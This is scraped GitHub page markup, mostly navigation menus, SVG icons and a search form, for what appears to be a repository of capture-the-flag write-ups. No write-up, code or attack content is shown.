<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="100902368" data-scoped-search-url="/DhavalKapil/ctf-writeups/search" data-owner-scoped-search-url="/users/DhavalKapil/search" data-unscoped-search-url="/search" data-turbo="false" action="/DhavalKapil/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="QqB+QnJLTG/SxrKeQkzVPrl27EWGc3D6r8iOZHseoVxIPJ7JjRGoecaKKATDsD0GKRyZOnFOIHgjlu8X6Yjurw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
